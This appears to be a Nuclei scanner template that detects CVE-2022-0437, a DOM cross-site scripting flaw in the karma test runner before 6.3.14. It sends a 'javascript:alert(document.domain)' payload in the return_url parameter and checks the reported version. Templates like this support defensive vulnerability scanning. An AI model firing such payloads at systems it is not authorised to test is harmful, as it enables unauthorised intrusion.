nuclei-templates/cves/2022/CVE-2022-0437.yaml

41 lines
960 B
YAML
Raw Normal View History

id: CVE-2022-0437
info:
name: Cross-site Scripting (XSS) - DOM in karma-runner
author: pikpikcu
severity: medium
description: Cross-site Scripting (XSS) - DOM in NPM karma prior to 6.3.14.
- https://nvd.nist.gov/vuln/detail/CVE-2022-0437
- https://huntr.dev/bounties/64b67ea1-5487-4382-a5f6-e8a95f798885
- https://github.com/karma-runner/karma
tags: cve,cve2022,karma,xss,oss
requests:
- method: GET
path:
- '{{BaseURL}}/karma.js'
- '{{BaseURL}}/?return_url=javascript:alert(document.domain)'
extractors:
- type: regex
name: version
internal: true
group: 1
regex:
- "(?m)VERSION: '([0-9.]+)'"
req-condition: true
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body_2
words:
- 'Karma'
- type: dsl
dsl:
- 'to_string(version) <= "6.3.13"'